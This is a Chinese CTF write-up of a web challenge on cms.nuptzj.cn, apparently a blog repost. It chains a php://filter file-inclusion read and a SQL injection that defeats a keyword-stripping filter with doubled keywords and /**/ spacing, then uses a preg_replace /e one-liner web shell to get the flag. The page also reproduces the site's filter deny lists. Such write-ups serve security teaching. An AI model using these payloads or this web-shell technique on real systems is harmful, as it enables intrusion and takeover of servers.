zoukankan      html  css  js  c++  java
  • web-综合题2

    地址

    http://cms.nuptzj.cn/

    0x01 

    很有意思的一题综合题,确实包含的内容比较多

    打开页面

     把能打开的都打开,能看的都看一下

    几个重点的信息

    一段hash  e045e454c18ca8a4415cfeddd1f7375eb0595c71ac00a0e4758761e1cc83f2c565bb09bfd94d1f6c2ffc0fb9849203a14af723b532cbf44a2d6f41b0dee4e834 
    一段base64 MzAzMTY3YWQxZDlmZmUyNGIxOWNjZWI1OWY4NzA3ZmU=

    留言搜索跳转到 so.php
    点击尾页跳转 index.php?page=1
    留言板 preview.php
    提交留言 say.php?nice=213&usersay=123&Submit=确认提交
    并告诉我们XSS不一定成功,以及查看源码有惊喜

    末尾有cms说明
    config.php:存放数据库信息,移植此CMS时要修改 index.php:主页文件 passencode.php:Funny公司自写密码加密算法库 say.php:用于接收和处理用户留言请求 sm.txt:本CMS的说明文档

    以及admin的表结构
    create table admin ( id integer, username text, userpass text, )

    0x02

    CMS说明的时候,URL为 about.php?file=sm.txt,file字眼一般有文件包含的漏洞(常见的套路),尝试一下用伪协议来读取其他信息读取about.php

    http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=about.php

    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <?php
    $file=$_GET['file'];
    if($file=="" || strstr($file,'config.php')){
    echo "file参数不能为空!";
    exit();
    }else{
    $cut=strchr($file,"loginxlcteam");
    if($cut==false){
    $data=file_get_contents($file);
    $date=htmlspecialchars($data);
    echo $date;
    }else{
    echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
    }
    }

    发现代码有一个loginxlcteam,尝试输入是一个后台登入

    http://cms.nuptzj.cn/loginxlcteam/

    读取so.php

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>搜索留言</title>
    </head>
    
    <body>
    <center>
    <div id="say" name="say" align="left" style="1024px">
    <?php
    if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
    echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
        exit();
    }
    $id=$_POST['soid'];
    include 'config.php';
    include 'antiinject.php';
    include 'antixss.php';
    $id=antiinject($id);
    $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
    mysql_select_db($db_name,$con);
    $id=mysql_real_escape_string($id);
    $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
    $rs=mysql_fetch_array($result);
    echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
    mysql_free_result($result);
    mysql_free_result($file);
    mysql_close($con);
    ?>
    </div>
    </center>
    </body>
    </html>

    获取信息,得到了sql查询语句,同时还包含三个文件config.php、antiinject.php、antixss.php

    读取antixss.php文件

    <?php
    function antixss($content){
    preg_match("/(.*)[a](.*)[/a](.*)/",$content,$url);
    $key=array("(",")","&","\","<",">","'","%28","%29"," on","data","src","eval","unescape","innerHTML","document","appendChild","createElement","write","String","setTimeout","cookie");//因为太菜,很懒,所以。。。(过滤规则来自Mramydnei)
    $re=$url[2];
    if(count($url)==0){
    return htmlspecialchars($content);
    }else{
    for($i=0;$i<=count($key);$i++){
    $re=str_replace($key[$i], '_',$re);
    }
    return htmlspecialchars($url[1],ENT_QUOTES).'<a href="'.$re.'">'.$re.'</a>'.htmlspecialchars($url[3],ENT_QUOTES);
    }
    }
    ?>

    基本把XSS过滤光了

    读取antiinject.php    config.php无法读取

    <?php
    function antiinject($content){
    $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
    $info=strtolower($content);
    for($i=0;$i<=count($keyword);$i++){
     $info=str_replace($keyword[$i], '',$info);
    }
    return $info;
    }
    ?>

    sql注入也基本过滤光了,但是这是把关键字替换为空,可以用双写来进行绕过,空格可以用/* */来绕过,注意一下so.php中代码中需要把浏览器变成 'Xlcteam Browser'才能执行

    0x03

    通过sql注入,获取密码登入后台

    构造payload获取显示列,抓包改浏览器代理Xlcteam Browser才能执行

    soid=1/**/ununionion/**/seleselectct/**/1,2,3,4

     显示位是2和3

     构造payload直接获得密码

    soid=-1 union select 1,2,group_concat(userpass),4 from admin

    变形后的payload

    soid=-1/**/uunionnion/**/sselectelect/**/1,2,group_concat(userppassass),4/**/frfromom/**/aadmindmin

    得到一段ascll码

     解码后是fuckruntu

    0x04

    账号admin 密码fuckruntu,登入成功

    原网站有一句话木马,先看看一句话木马的源码

    http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=xlcteam.php

    <?php
    $e = $_REQUEST['www'];
    $arr = array($_POST['wtf'] => '|.*|e',);
    array_walk($arr, $e, '');
    ?>

    这里利用一个preg_replace()函数的漏洞配合着上面的array_walk函数

    preg_replace( pattern , replacement , subject ) :

    当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行

     于是构造payload

    http://cms.nuptzj.cn/xlcteam.php?www=preg_replace

    然后小马的密码是wtf

    这里用cknife连接

     获得flag

     

  • 相关阅读:
    虚拟化技术KVM
    Rsync+Inotify实现文件自动同步
    第一次使用博客园
    kmp算法分析
    程序可移植性分析(一)数据类型
    strings用法小记
    size用法小记
    readelf用法小记
    nm用法小记
    ar用法小记
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/11678312.html
Copyright © 2011-2022 走看看